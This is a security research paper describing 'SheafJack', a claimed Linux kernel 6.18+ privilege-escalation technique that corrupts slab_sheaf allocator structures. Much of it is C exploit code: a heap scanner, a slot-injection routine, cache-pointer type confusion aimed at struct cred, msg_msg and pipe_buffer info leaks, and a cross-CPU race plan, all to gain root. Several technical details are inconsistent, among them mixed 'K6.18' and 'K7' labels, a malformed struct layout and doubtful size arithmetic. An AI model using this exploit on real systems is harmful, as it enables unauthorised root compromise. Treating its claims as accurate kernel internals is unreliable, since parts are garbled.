✦ BLUE DRAGON SECURITY RESEARCH LAB ✦

SheafJack

Kernel 6.18+ Allocation Path Hijack via `slab_sheaf` Architecture

Antonius · Web : bluedragonsec.com
Indonesia · 2026

Abstract

SheafJack is a novel kernel exploitation technique targeting the `slab_sheaf` architecture introduced in Linux kernel 6.18 (Vlastimil Babka)[2]. Unlike SLUBStick (USENIX Security 2024)[1], which relies on a **timing side-channel as an iterative oracle** to recover the XOR key encoding `kmem_cache_cpu.freelist` pointers in kernel 6.x, SheafJack requires **no timing measurement and no decode iterations**. The `slab_sheaf.objects[]` array stores raw, unencoded pointers. A single direct write to one slot redirects the next kernel allocation to an arbitrary address — no oracle, no loop, no side-channel.

Three attack vectors are documented: **V1** (direct `objects[]` slot overwrite — low complexity), **V2** (`slab_sheaf.cache` pointer corruption for type confusion — medium), and **V3** (`node_barn` cross-CPU lock race for fake sheaf injection — high).

1 SLUBStick in Kernel 6 — Full Mechanism

SLUBStick (USENIX Security 2024)[1] converts a **limited write primitive** — for example, a 1-byte overflow — into arbitrary write by exploiting a timing side-channel in the SLUB allocator. Understanding SLUBStick in depth before SheafJack is essential precisely because their differences are fundamental, not superficial.

1.1 Target Structure: kmem_cache_cpu

In kernel 6.x, each `kmem_cache` maintains one `kmem_cache_cpu` instance per CPU (accessed via `this_cpu_ptr(&cache->cpu_slab)`). The critical field is `freelist`, pointing to the next free object and XOR-encoded for security:

C — include/linux/slub_def.h (kernel 6.x)

```
struct kmem_cache_cpu {
    void         **freelist;  /* Next free obj (in union w/ tid)  */
    unsigned long  tid;       /* Transaction ID, anti-preemption  */
    struct slab   *slab;      /* Active slab page                 */
    struct slab   *partial;   /* Per-cpu partial (CONFIG_SLUB_CPU_PARTIAL) */
};


/* Encoding (CONFIG_SLAB_FREELIST_HARDENED[8] — ON by default on distros):
 *
 *   encoded_ptr = raw_ptr  XOR  s->random  XOR  swab(slot_addr)
 *
 *   s->random  = per-cache secret key, set at kmem_cache_create()
 *   slot_addr  = address of the freelist slot storing the encoded ptr
 *   swab()     = byte-swap (endianness hardening)
 *
 * Decode formula (verified: linux-6.18 mm/slub.c line 579):
 *   raw_ptr = encoded_ptr  XOR  s->random  XOR  swab(slot_addr)
 *
 * Example freelist chain in one slab page (objects A, B, C all free):
 *   A.freeptr = encode(B_addr)  → B.freeptr = encode(C_addr)  → NULL
 *   kmalloc() → takes A → freelist = decode(A.freeptr) = B_addr
 */
```

1.2 Freelist Chain Visualised in Memory

Memory — freelist chain inside one slab page (K6)

```
slab page (4 KB physical page):
┌──────────────────────────────────────────────────────────┐
│ slot 0:  [ object data ... | encoded_freeptr → slot 1 ]  │
│ slot 1:  [ object data ... | encoded_freeptr → slot 3 ]  │
│ slot 2:  [ ALLOCATED — in use by kernel/user ]           │
│ slot 3:  [ object data ... | encoded_freeptr → slot 4 ]  │
│  ...                                                     │
└──────────────────────────────────────────────────────────┘

kmem_cache_cpu.freelist = encode(slot_0_addr)

Traversal: decode(freelist) → raw slot 0 addr → read next
           freeptr field → decode → raw slot 1 addr → ...
```

1.3 Timing Oracle — Mechanism and Algorithm

The core insight of SLUBStick: allocations that **hit the percpu freelist** (~50–200 ns) are 10–40× faster than those requiring a new slab page (~800–4000 ns). This difference is consistent and measurable, forming a reliable binary oracle.

C — SLUBStick timing oracle loop (just a pseudocode)

```
/* Goal: reconstruct s->random so we can encode an arbitrary target addr.
 * Prerequisite: OOB write (e.g. 1-byte overflow) into the freelist slot.
 * Method: corrupt one byte at a time, measure alloc latency.
 *         Fast → decode still valid (byte not critical).
 *         Slow → decode broken (byte is critical) → record candidate.   */

#define FAST_THRESHOLD_NS   400ULL
#define TIMING_SAMPLES        8

uint64_t reconstructed_key = 0;

for (int byte_idx = 0; byte_idx < 8; byte_idx++) {
    for (int val = 0; val < 256; val++) {
        /* Corrupt one byte of encoded freelist pointer */
        oob_write_byte(freelist_slot_addr + byte_idx, val);

        /* Measure alloc latency (average over TIMING_SAMPLES) */
        uint64_t total = 0;
        for (int s = 0; s < TIMING_SAMPLES; s++) {
            uint64_t t0 = clock_ns();
            trigger_kmalloc(TARGET_SIZE); /* e.g., msgsnd/pipe/write */
            total += clock_ns() - t0;
            restore_allocation();
        }
        uint64_t avg = total / TIMING_SAMPLES;

        if (avg < FAST_THRESHOLD_NS) {
            /* Decode valid: val is the correct byte */
            reconstructed_key |= (uint64_t)val << (byte_idx * 8);
            restore_freelist_byte(byte_idx, val);
            break;
        }
        /* Decode broken: restore and try next value */
        restore_freelist_byte(byte_idx, original_bytes[byte_idx]);
    }
}
/* After loop: reconstructed_key == s->random */

/* Inject arbitrary address into freelist */
uint64_t target  = (uint64_t)&victim_object;
uint64_t encoded = target ^ reconstructed_key ^ swab64(freelist_slot_addr);
oob_write_qword(freelist_slot_addr, encoded);
/* → next kmalloc(TARGET_SIZE) returns &victim_object */
```

Total iterations in worst case: **256 × 8** = **2048 alloc/free cycles** per exploit attempt. In practice, iteration count is lower since most byte values are ruled out quickly, but the process is inherently noisy and produces hundreds to thousands of anomalous allocation patterns.

2 Why SLUBStick Dies in Kernel 6.18+

Kernel 6.18 replaces the entire percpu allocator model. This is not a rename — the linked-freelist-in-slab-page concept is architecturally abolished, replaced by the sheaves model. Below is the structural comparison:

KERNEL 6 (below 6.18) - SLUBStick Has a Target	KERNEL 6.18+ -SLUBStick Has No Target

`struct kmem_cache_cpu {`
`  void **freelist; /* XOR-ENCODED */`
`  unsigned long tid;`
`  struct slab *slab;`
`  struct slab *partial;`
`};`
	`struct slub_percpu_sheaves {`
	`  struct slab_sheaf *main;`
	`  struct slab_sheaf *spare;`
	`};`
	
	`/* slab_sheaf.objects[]:`
	` * flat void* array`

```
/* Freelist = linked chain
 * stored INSIDE slab page
 * XOR encoded per slot
 * → timing oracle works  */
```

```
 * NO XOR, NO ENCODING
 * → direct overwrite
 * → timing oracle GONE */
```

Component	Kernel 6.18 Below	Kernel 6.18+	Impact on SLUBStick
kmem_cache_cpu	**Exists**	**GONE — replaced**	Primary target struct is absent
XOR-encoded freelist	**Exists**	**GONE**	Nothing to decode iteratively
In-slab linked chain	**Exists**	**GONE**	Timing oracle loses its target
Flat objects[] array	**Absent**	**NEW — unencoded**	New attack surface: direct write
node_barn NUMA pool	**Absent**	**NEW — shared**	New cross-CPU race surface (V3)
freelist_ptr_decode()	**Exists**	**Exists; unused on sheaves path**	Formula unchanged; chain is gone

The removal of XOR encoding means slab_sheaf.objects[] stores raw unencoded pointers. An attacker with an OOB or UAF write reaching this region needs NO oracle whatsoever — just write directly. SheafJack is simpler per-operation than SLUBStick. The complexity shifts from timing calibration to locating the sheaf via an info leak.

3 SheafJack — Concept and Attack Vectors

SheafJack is the name for the class of exploitation techniques specifically targeting the `slab_sheaf` / `node_barn` architecture in Linux kernel 6.18+. "Sheaf" = the `slab_sheaf` struct being attacked; "Jack" = hijack - seizing control of the kernel allocation path.

3.1 Fundamental Difference from SLUBStick

Aspect	SLUBStick (K6)	SheafJack (K6.18+)
Core primitive	Timing side-channel as binary oracle	Direct pointer overwrite
Target structure	kmem_cache_cpu.freelist (linked list)	slab_sheaf.objects[] (flat array)
Pointer encoding	XOR + per-cache secret key	NONE — raw pointer, stored plain
Decode iterations	100–500+ (byte-by-byte oracle loop)	0 — one write is sufficient
Needs heap infoleak?	No — timing serves as the oracle	YES — heap address required (§8)
Needs KASLR bypass?	No	No for cred overwrite target (§9)
Noise in audit logs	HIGH — hundreds of anomalous syscalls	LOW — few targeted writes
Kernel target	5.x – 6.x	6.18+
Exploit complexity	Timing calibration, noise filtering	Locate sheaf via info leak

3.2 The Three Attack Vectors

Vector	Write Prerequisite	Target Field	Result	Complexity
V1: objects[] Overwrite	OOB/UAF write to slab_sheaf region	objects[size-1] — LIFO top slot	Arbitrary address on next kmalloc()	**Low**
V2: cache Ptr Poison	Write to slab_sheaf header +0x10	slab_sheaf.cache (kmem_cache*)	Type confusion → cross-cache obj access	**Medium**
V3: Barn Lock Race	UAF/double-free + cross-CPU timing	node_barn.sheaves_empty via stale read	Fake sheaf → full objects[] control	**High**

4 Memory Layout: slab_sheaf in Kernel 6.18

4.1 Structure Definitions

C — mm/slub.c kernel 6.18

```
/* Per-sheaf allocation unit. One kmem_cache has many sheaves:
 * one per CPU (main + spare) and a pool in node_barn.          */
struct slab_sheaf {
    /* +0x00 */ union {                     /* 16-byte union           */
    /* +0x00 */   struct rcu_head  rcu_head; /* or barn_list / capacity */
    /* +0x00 */   struct list_head barn_list; /* ← active when in barn  */
    /* +0x10 */ struct kmem_cache *cache;  /* ← TARGET V2 (back-ptr)  */
    /* +0x10 */   unsigned int capacity; };    /* ← union end (16 bytes) */
    /*
    /* +0x18 */ unsigned int      size;     /* current valid entries    */
    /* +0x1C */ int               node;     /* NUMA node (rcu_sheaf)    */
    /* +0x20 */ void              *objects[]; /* ← TARGET V1 — RAW, NO XOR */
     * LIFO: alloc pops objects[--size], free pushes objects[size++].
     */
};
/* Replaces kmem_cache_cpu in K6.18+ (cpu_sheaves path) */
struct slub_percpu_sheaves {
    local_trylock_t    lock;       /* percpu lock (K6.18+)              */
        struct slab_sheaf *main;   /* active sheaf: alloc/free go here      */
    struct slab_sheaf *spare;  /* spare sheaf (empty/full)             */
    struct slab_sheaf *rcu_free; /* batch kfree_rcu() sheaf             */
};
/* NUMA-shared pool — source and destination for percpu sheaves */
struct node_barn {
    spinlock_t        lock;        /* protects both lists below          */
    struct list_head  sheaves_full;  /* full sheaves ready to distribute  */
    struct list_head  sheaves_empty; /* empty sheaves, ready to refill   */
    unsigned int      nr_full;    /* count of full sheaves              */
    unsigned int      nr_empty;   /* ← READ via data_race()! stale OK   */
};
```

4.2 Annotated Memory Diagram

Memory — active slab_sheaf instance (capacity=16, kmalloc-128 cache)

4.3 slab_sheaf Sizes Per Cache

kmem_cache	Typical capacity	sizeof(slab_sheaf)	Fits in bucket
kmalloc-64	32	0x20 + 32×8 = 288 B	kmalloc-512
kmalloc-128	16	0x20 + 16×8 = 160 B	kmalloc-192
kmalloc-256	8	0x20 + 8×8 = 96 B	kmalloc-96
kmalloc-1k	4	0x20 + 4×8 = 64 B	kmalloc-64
Cross-check with KASAN stack traces to confirm allocation size class and object alignment.			

4.4 Allocation Fast-Path — Where the Attack Lands

C — mm/slub.c — slab_alloc_node() fast path (K6.18+, verified mm/slub.c:5103)

```
static void *slab_alloc_node(struct kmem_cache *s, gfp_t gfpflags, int node)
{
    if (!local_trylock(&s->cpu_sheaves->lock)) goto slow;
    struct slub_percpu_sheaves *pcs = this_cpu_ptr(s->cpu_sheaves);


    if (likely(pcs->main->size > 0)) {
        /* LIFO pop: object = pcs->main->objects[--pcs->main->size] */
        void *obj = sheaf->objects[--sheaf->size];
        /*
         * ↑↑ THIS IS WHERE SHEAFJACK V1 STRIKES ↑↑
         *
         * If objects[size-1] was overwritten by the attacker
         * to contain an arbitrary address (e.g. &cred->uid),
         * then obj = &cred->uid — returned to the caller.
         * The caller then writes data to this "new object",
         * which is actually writing INTO the target address.
         */
        put_cpu_ptr(s->cpu_sheaves);
        return obj;
    }


    /* Slow path: sheaf exhausted → swap main/spare or fetch from barn */
    put_cpu_ptr(s->cpu_sheaves);
    return __slab_alloc(s, gfpflags, node);
}
```

5 Attack Vector 1: objects[] Slot Overwrite

5.1 Why This Works — The Key Insight

In K6, an attacker first had to **reconstruct s->random** via 100–500+ timing iterations before being able to inject an arbitrary address. In K7, `objects[]` holds raw unencoded pointers. An attacker with any OOB or UAF write reaching the slab_sheaf region can **directly overwrite one slot** with the target address. No oracle, no iteration, no timing measurement. One write → one controlled allocation.

5.2 Prerequisites

- **OOB write** from an adjacent object that can reach the slab_sheaf region in kernel heap — OR —
- **UAF write** to a freed object whose slab page is adjacent to the slab_sheaf allocation — OR —
- **Arbitrary kernel write** primitive (possibly bootstrapped from a previous SheafJack V1 step)
- A **heap address leak** to locate the active slab_sheaf (see §8). KASLR bypass is NOT required for cred target (see §9).

5.3 Step-by-Step Exploitation

1. **Spray and Position:** Allocate ≥64 objects from the target size class (e.g. kmalloc-128 via `msgsnd`). Free 8–12 of them to create a partial active slab_sheaf in that cache. This positions freed object addresses inside `objects[]` and ensures the sheaf is reachable from nearby spray objects.
2. **Info Leak — Get slab_sheaf Address:** Use one of the techniques in §8 (stale objects[] pointer via UAF read, msg_msg list_head, pipe_buffer.page) to obtain a kernel heap address. Use it as the base for scanning.
3. **Locate Active slab_sheaf:** Scan the heap using the heuristic scanner (§8.2) to find a candidate slab_sheaf with valid capacity, size, cache pointer, and objects[0].
4. **Read sheaf.size:** `arb_read32(sheaf_addr + 0x18)` gives the LIFO top index. The next allocation will consume `objects[size-1]`.
5. **Compute Target Slot Offset:** `slot_off = 0x20 + (size - 1) * 8`
6. **Pin CPU:** `sched_setaffinity(0, &cpu0_set)` to minimize preemption between the read-size and write-slot operations.
7. **Overwrite the Slot:** `oob_write_qword(sheaf_addr + slot_off, target_addr)` — no XOR, no encoding, plain direct write.
8. **Verify the Injection:** `arb_read64(sheaf_addr + slot_off) == target_addr`? If the verify fails, another CPU consumed the slot during the race window — increment size and retry.
9. **Trigger One Allocation:** One syscall causing `kmalloc(128)` from the same cache (e.g. `msgsnd`, `write`, `sendmsg`). Kernel returns `target_addr` as the allocated buffer.
10. **Write via the Returned Pointer:** The data the kernel copies into the "new object" lands at `target_addr`. If target = `&cred->uid`, a zero payload sets uid=0 → root.

5.4 Core Implementation

C — sheafjack_v1_core.c — sheaf scanner + injection

```c
static inline bool is_kptr(unsigned long p) { return (p >> 48) == 0xFFFF; }

/* ── Scanner: locate active slab_sheaf by heuristic ──────────── */
unsigned long find_active_sheaf(unsigned long base, unsigned int obj_sz) {
    for (unsigned long off = 0; off < 0x100000; off += 0x40) {
        unsigned long a   = base + off;
        unsigned int  cap = arb_read32(a);         /* union[0..3] */
        unsigned int  sz  = arb_read32(a + 0x18);
```

```
        /* Heuristic 1: capacity in [4, 64] */
        if (cap < 4 || cap > 64)     continue;
        /* Heuristic 2: 0 < size <= capacity */
        if (sz == 0 || sz > cap)     continue;
        /* Heuristic 3: barn_list.next at +0x00 = valid kernel pointer */
        if (!is_kptr(arb_read64(a + 0x08)))  continue;
        /* Heuristic 4: cache pointer = valid kernel pointer */
        if (!is_kptr(arb_read64(a + 0x10)))  continue;
        /* Heuristic 5: objects[0] = valid heap address */
        if (!is_kptr(arb_read64(a + 0x20)))  continue;
        /* Optional heuristic 6: verify cache->size == obj_sz */
        if (obj_sz > 0) {
            unsigned int csz = arb_read32(arb_read64(a+0x10) + KMEM_CACHE_SIZE_OFF);
            if (csz != obj_sz) continue;
        }
        printf("[+] slab_sheaf @ 0x%lx  cap=%u sz=%u cache=0x%lx
",
               a, cap, sz, arb_read64(a + 0x10));
        return a;
    }
    return 0;
}

/* ── SheafJack V1: inject target_addr into objects[] LIFO top ── */
int sheafjack_v1_inject(unsigned long sheaf_addr, unsigned long target) {
    /* Pin to CPU0 to minimise preemption window */
    cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(0, &cpuset);
    sched_setaffinity(0, sizeof(cpuset), &cpuset);

    unsigned int  sz      = arb_read32(sheaf_addr + 0x18);
    if (sz == 0) {
        fprintf(stderr, "[-] sheaf.size=0: sheaf exhausted, need refill
");
        return -1;
    }

    unsigned long slot_off = 0x20 + (sz - 1) * 8;
    printf("[*] sheaf.size=%u → targeting objects[%u] @ sheaf+0x%lx
",
           sz, sz-1, slot_off);
    printf("[*] Injecting target = 0x%lx
", target);

    /* THE WRITE — no XOR, no encoding, completely direct */
    oob_write_qword(sheaf_addr + slot_off, target);

    /* Verify — if race caused a miss, caller should retry */
    unsigned long check = arb_read64(sheaf_addr + slot_off);
    if (check != target) {
        fprintf(stderr, "[-] Verify failed: got 0x%lx, expected 0x%lx
",
                check, target);
        fprintf(stderr, "[-] Race condition — slot consumed mid-inject
");
        return -1;
    }

    printf("[+] Injection verified! Next kmalloc(%u) = 0x%lx
",
           arb_read32(arb_read64(sheaf_addr+0x10) + KMEM_CACHE_SIZE_OFF),
           target);
    return 0;
}
```

Race Condition: Size Read vs. Slot Write

There is a window between arb_read32(sheaf.size) and oob_write_qword(slot). If another CPU consumes objects[size-1] in this window, the injection either misses or corrupts the wrong slot. Three mitigations:

1. CPU pin via sched_setaffinity(0, &cpu0_set) before the critical section.
2. Overwrite multiple adjacent slots simultaneously (objects[size-1], objects[size-2], ...) for race window tolerance.
3. FUSE passthrough trick: hold a FUSE request open to pause allocations in the target size class while injecting.

6 Attack Vector 2: cache Pointer Corruption

6.1 Mechanism — Type Confusion via Mismatched kmem_cache

Field `slab_sheaf.cache` at offset `+0x10` is a back-pointer to the `kmem_cache` that owns this sheaf. Three kernel functions read it critically: `refill_sheaf()` (to know which slab page to refill from), `sheaf_flush_unused()` (to know where to return objects), and `sheaf_free_bulk()` (batch free routing). Corrupting this pointer creates a silent type confusion.

C — downstream effect of corrupting sheaf->cache (kmalloc-128 → cred_jar)

```
/* Scenario: attacker writes cred_jar_ptr to sheaf->cache.
 *
 * Inside refill_sheaf():
 *   struct kmem_cache *s = sheaf->cache;   // NOW s = cred_jar
 *   struct slab *slab = get_partial(s, ...); // slab from cred_jar
 *   void *obj = slab_to_obj(slab, s->offset); // struct cred object!
 *   sheaf->objects[sheaf->size++] = obj;
 *
 * Result: objects[] now contains pointers to struct cred objects.
 *
 * Next allocation from "kmalloc-128" returns &some_cred.
 * The caller — believing it got a 128-byte buffer — writes into it.
 * cred->uid = 0, cred->gid = 0, cred->euid = 0, cred->cap_* = ...
 * → root without ever touching the cred directly via V1 style.
 *
 * Detection: KASAN/SLUB debug would flag the size mismatch.
 *            Production kernel: SILENT — no warning at all.      */

/* Implementation */
unsigned long cred_jar_ptr = find_kmem_cache_ptr("cred_jar");
arb_write64(sheaf_addr + 0x10, cred_jar_ptr);  /* poison cache ptr */

/* Trigger a sheaf refill (exhaust current objects[], then allocate) */
drain_sheaf_objects(128, sheaf_size);           /* exhaust all slots */
void *got = trigger_kmalloc_128();              /* returns &struct cred */
memset(got, 0, 128);  /* → uid=0, gid=0, euid=0, caps=0 → root */
```

6.2 Type Confusion Target Caches

Source Cache	Corrupt Cache Ptr to	Exploitation Effect	Reliability
kmalloc-192	cred_jar (192B objects)	Overwrite struct cred → uid/gid/caps=0 → root	**High**
kmalloc-128	files_cache	Corrupt struct files_struct → fd table hijack	**Medium**
kmalloc-256	vm_area_cachep	VMA manipulation → mmap privilege bypass	**Medium**
kmalloc-512	sighand_cache	Signal handler table overwrite	**Medium**
kmalloc-96	sock_inode_cache	Socket inode corrupt → capability bypass	**Low**

6.3 Finding the cred_jar Pointer

C — approaches to obtain cred_jar kmem_cache address

```
/* Option 1 (easiest): /proc/slabinfo or /sys/kernel/slab/ (needs CAP_SYS_ADMIN)
 *   Not useful for an unprivileged exploit — already have root context.
 *
 * Option 2: KASLR bypass + kernel symbol
 *   cred_jar is a global: static struct kmem_cache *cred_jar (mm/cred.c)
 *   If KASLR slide known: cred_jar_addr = kaslr_base + compile_time_offset
 *
 * Option 3: Heap scan for kmem_cache with matching s->size
 *   sizeof(struct cred) ≈ 192 bytes in K6.18+. Scan kernel heap for
 *   kmem_cache structs where s->size == 192 and s->name == "cred_jar".
 */
unsigned long find_cred_jar_by_size_scan(unsigned long kaslr_base) {
    /* Walk all kmalloc_caches[] entries or scan heap for kmem_cache */
    for (unsigned long a = heap_base; a < heap_base+0x200000; a += 0x10) {
        unsigned int  sz   = arb_read32(a + KMEM_CACHE_SIZE_OFF);
        unsigned long name = arb_read64(a + KMEM_CACHE_NAME_OFF);
        if (sz != 192) continue;
        /* Read cache name string from kernel and compare to "cred_jar" */
        char buf[16];
        arb_read_bytes(name, buf, 8);
        if (memcmp(buf, "cred_jar", 8) == 0) return a;
    }
    return 0;
}
```

7 Attack Vector 3: Barn Lock Race (node_barn)

7.1 Vulnerable Pattern: data_race() in Fast-Path

The `node_barn` structure coordinates sheaf distribution between CPUs. In `barn_get_empty_sheaf()`, the kernel reads `nr_empty` **without holding the spinlock** — wrapped in `data_race()` to suppress KCSAN warnings. This intentional stale read creates a window attackers can exploit:

C — mm/slub.c — barn_get_empty_sheaf() (kernel 6.18)

```
static struct slab_sheaf *
barn_get_empty_sheaf(struct node_barn *barn,
                     unsigned long *flags, bool allow_spin)
{
    struct slab_sheaf *sheaf;

    /*
     * FAST-PATH: read nr_empty WITHOUT the spinlock.
     * data_race() = KCSAN/TSAN suppression — this is an intentional
     * data race. Kernel justification: a stale zero causes a suboptimal
     * fallback (alloc_empty_sheaf), not a bug.
     *
     * ATTACKER WINDOW: stale nr_empty > 0 causes us to proceed to the
     * slow-path lock acquisition. Between the data_race() read and the
     * actual spin_lock(), an attacker on another CPU can inject a fake
     * slab_sheaf into barn->sheaves_empty.
     */
    if (!data_race(barn->nr_empty))    /* ← RACE WINDOW OPENS HERE */
        return NULL;

    /* SLOW-PATH: acquire spinlock for the actual list operation */
    if (likely(allow_spin))
        spin_lock_irqsave(&barn->lock, *flags);
    else if (!spin_trylock_irqsave(&barn->lock, *flags))
        return NULL;

    /* Critical section */
    sheaf = list_first_entry_or_null(&barn->sheaves_empty,
                                     struct slab_sheaf, list);
    if (sheaf) { list_del(&sheaf->barn_list); barn->nr_empty--; }

    spin_unlock_irqrestore(&barn->lock, *flags);
    return sheaf;  /* NULL if barn was empty despite data_race() saying ≥1 */
}
```

7.2 Cross-CPU Attack Timeline

Timeline — injecting fake sheaf into node_barn

```
  Thread A (CPU 0)                    Thread VICTIM (CPU 1)
  ──────────────────────────────────  ──────────────────────────────────

  T0: barn_put_sheaf():
      spin_lock(barn)
      barn->nr_empty++ = 1
      list_add(&sheaf->barn_list)
      spin_unlock(barn)

                                       T1: slab_alloc_node() → needs sheaf
                                           data_race(barn->nr_empty) → 1
                                           [RACE WINDOW OPENS]

  T2: ATTACKER injects fake_sheaf:
      fake_sheaf.capacity = 16
      fake_sheaf.size     = 4
      fake_sheaf.cache    = target_cache
      fake_sheaf.objects  = {
        &cred->uid, &cred->uid,
        &cred->uid, &cred->uid
      }
      /* Link fake_sheaf into barn->sheaves_empty before lock */
```

```
    oob_write → list manipulation

                                        T3: spin_lock(barn)
                                            list_first = fake_sheaf ← !!!
                                            list_del, nr_empty--
                                            spin_unlock

                                        T4: return fake_sheaf

T5: Victim CPU uses fake_sheaf as its new main:
    next kmalloc() → objects[--size] = &cred->uid
    caller writes into "new buffer" → overwrites cred → root
```

7.3 Requirements and Limitations

- **Primitive requirement:** ability to write a crafted `slab_sheaf` struct into heap (e.g., via `kmalloc` with controlled content), and ability to link it into `barn->sheaves_empty` before the victim acquires the lock (requires OOB write to list_head or arbitrary write)
- **Threading requirement:** at least 2 threads with CPU affinity to different CPUs (`sched_setaffinity`)
- **Timing requirement:** precise scheduling control to close the race window reliably
- **Race window width:** typically tens of nanoseconds — many retries needed for reliability

V3: Complex but Novel

For practical exploitation, V1 is strongly preferred over V3. The race window in V3 is very narrow, requires precise cross-CPU scheduling, and success rate is 50–70% even with perfect grooming.

However, V3 is the most novel technique from a research perspective: node_barn is a 6.18-specific structure with no predecessor, and the data_race() fast-path pattern has not been previously analysed as an attack surface. This makes V3 a strong candidate for a Phrack submission contribution.

8 Info Leak Strategies to Locate slab_sheaf

SheafJack V1 requires the runtime address of the active `slab_sheaf` struct. Four reliable techniques follow, ordered from simplest to most complex.

8.1 Technique 1: objects[] Stale Pointer via UAF Read

When an object is freed, its address is pushed back into **`objects[size]`** in the active sheaf. If there is a **UAF read primitive** on the freed object, the raw heap pointer is directly available. In Kernel 6.18, freed objects are **NOT** pointer-encoded (unlike **freelist entries in versions below 6.18**), making this technique straightforward :

C — objects[] stale pointer leak

```c
int qid = msgget(IPC_PRIVATE, 0600|IPC_CREAT);
struct { long mt; char buf[120]; } m = {.mt=1};
memset(m.buf, 0x41, 120);
msgsnd(qid, &m, 120, 0);          /* allocate msg_msg in kmalloc-128 */


/* Free: kernel pushes msg_msg address → objects[size] of active sheaf */
msgrcv(qid, &m, 120, 0, 0);


/* UAF read on the freed msg_msg: first 8 bytes = raw heap pointer.
 * In K7 this is NOT XOR-encoded (unlike K6 freelist pointers).    */
unsigned long leaked    = uaf_read_qword(0);
unsigned long heap_base = leaked & ~(unsigned long)0xFFFF;
printf("[*] Heap base estimate: 0x%lx
", heap_base);
unsigned long sheaf_addr = find_active_sheaf(heap_base, 128);
```

8.2 Technique 2: Multi-Heuristic Heap Scanner

C — is_valid_slab_sheaf() + find_active_sheaf()

```c
static inline bool is_kptr(unsigned long p) { return (p >> 48) == 0xFFFF; }


bool is_valid_slab_sheaf(unsigned long addr, unsigned int expected_obj_sz) {
    /* Basic range check */
    if (!is_kptr(addr)) return false;


    unsigned int cap = arb_read32(addr);
    unsigned int sz  = arb_read32(addr + 0x18);


    if (cap < 4  || cap > 64)   return false;   /* capacity sanity  */
    if (sz  == 0 || sz  > cap)  return false;   /* size in [1, cap] */


    unsigned long ln = arb_read64(addr + 0x00);  /* barn_list.next */
    unsigned long lp = arb_read64(addr + 0x08);  /* barn_list.prev */
    if (!is_kptr(ln) || !is_kptr(lp)) return false;


    unsigned long cache = arb_read64(addr + 0x10);
    if (!is_kptr(cache)) return false;


    /* objects[0] must be a valid heap kernel address */
    if (!is_kptr(arb_read64(addr + 0x20))) return false;


    /* Optional: verify kmem_cache->size matches target cache */
    if (expected_obj_sz > 0) {
        unsigned int s = arb_read32(cache + KMEM_CACHE_SIZE_OFFSET);
        if (s != expected_obj_sz) return false;
    }


    /* Optional: verify 3+ objects[i] are valid heap pointers */
    unsigned int check_n = (sz > 3) ? 3 : sz;
    for (unsigned int i = 0; i < check_n; i++) {
        if (!is_kptr(arb_read64(addr + 0x20 + i*8))) return false;
```

```
    }

    return true;
}

unsigned long find_active_sheaf(unsigned long heap_base, unsigned int obj_sz) {
    /* slab_sheaf for kmalloc-128 is ~0xA0 bytes, in kmalloc-192 bucket.
     * Scan forward and backward from heap_base in 0x40-byte steps.     */
    for (unsigned long off = 0; off < 0x100000; off += 0x40) {
        unsigned long a = heap_base + off;
        if (is_valid_slab_sheaf(a, obj_sz)) {
            printf("[+] slab_sheaf @ 0x%lx (cap=%u sz=%u)
",
                   a, arb_read32(a), arb_read32(a+4));
            return a;
        }
    }
    /* Also scan backward */
    for (unsigned long off = 0x40; off < 0x80000; off += 0x40) {
        unsigned long a = heap_base - off;
        if (is_valid_slab_sheaf(a, obj_sz)) {
            printf("[+] slab_sheaf @ 0x%lx (cap=%u sz=%u)
",
                   a, arb_read32(a), arb_read32(a+4));
            return a;
        }
    }
    return 0;
}
```

8.3 Technique 3: pipe_buffer.page Kernel Pointer

A `struct pipe_buffer` allocated in kmalloc-cg-128 contains a `struct page *page` field as its first member. This is a kernel direct-map pointer (`0xFFFFEA...` in vmemmap area). If there is an OOB read from an adjacent object, this pointer can be used to derive the kernel heap base:

C — pipe_buffer.page pointer leak

```
int pfd[2]; pipe(pfd);
write(pfd[1], "AAAA", 4);          /* allocate pipe_buffer in target zone */

/* Spray additional pipes adjacent to victim for reliable OOB read */
for (int i = 0; i < 8; i++) {
    int p[2]; pipe(p); write(p[1], "B", 1);
}

/* OOB read from adjacent object into pipe_buffer.page offset:
 * struct pipe_buffer { struct page *page; unsigned int offset; ... }
 * page ptr = 0xFFFFEA0000000000 + pfn*64 (vmemmap layout)         */
unsigned long page_ptr = oob_read_qword(PIPE_BUFFER_PAGE_OFF);
if (!is_kptr(page_ptr)) goto retry;

/* Convert page ptr to virtual heap address:
 * phys = (page_ptr - vmemmap_base) / sizeof(struct page) * PAGE_SIZE
 * virt = phys + page_offset_base (direct map) */
unsigned long heap_virt = page_ptr_to_heap_virt(page_ptr);
unsigned long sheaf_addr = find_active_sheaf(heap_virt, 128);
```

8.4 Technique 4: msg_msg list_head Kernel Pointer

C — msg_msg.m_list.next as heap pointer leak

```
/* struct msg_msg { struct list_head m_list; long m_type; size_t m_ts; ... }
 * m_list.next points to the next msg_msg in the queue, OR to the
 * queue head (msg_queue.q_messages — a kernel heap address).
 * After UAF on a msg_msg, m_list.next is still a valid kernel pointer. */

int qid = msgget(IPC_PRIVATE, 0600|IPC_CREAT);
struct { long mt; char b[48]; } m1={.mt=1}, m2={.mt=2};
msgsnd(qid, &m1, 48, 0);
```

```
msgsnd(qid, &m2, 48, 0);


/* Trigger UAF on msg_msg #1 via the bug, then read: */
unsigned long next_ptr  = uaf_read_qword(0);   /* m_list.next */
if (!is_kptr(next_ptr)) goto retry;
unsigned long heap_base = next_ptr & ~(unsigned long)0xFFFF;
unsigned long sheaf_addr = find_active_sheaf(heap_base, 128);
```

9 KASLR Bypass — When Is It Needed?

A key advantage of SheafJack V1 is that for the most common exploitation scenario — overwriting `cred.uid` to obtain root — **KASLR bypass is not required**. The target is a heap address, not a kernel text address. The heap address is obtained via the info leak techniques in §8.

9.1 Decision Table by Scenario

Scenario	KASLR Bypass Required?	Rationale
V1 + overwrite cred.uid=0	**NOT REQUIRED**	Target is heap address (struct cred). Heap leak from §8 is sufficient.
V1 + overwrite cred.cap_inheritable	**NOT REQUIRED**	All capability fields are heap addresses.
V1 + overwrite modprobe_path	**REQUIRED**	modprobe_path is a global variable in kernel .data section.
V1 + function pointer overwrite	**REQUIRED**	Function pointers point to kernel text — need KASLR slide.
V2 + type confusion to cred_jar	**MAYBE**	Need cred_jar kmem_cache pointer — obtainable from heap scan or KASLR.
V3 + fake sheaf injection	**SITUATIONAL**	Depends on what fake sheaf.objects[] points to.
V1 + ROP chain	**REQUIRED**	All ROP gadget addresses require knowledge of kernel text base.

9.2 Compatible KASLR Bypass Techniques (if needed)

Technique	Description	Practical Notes
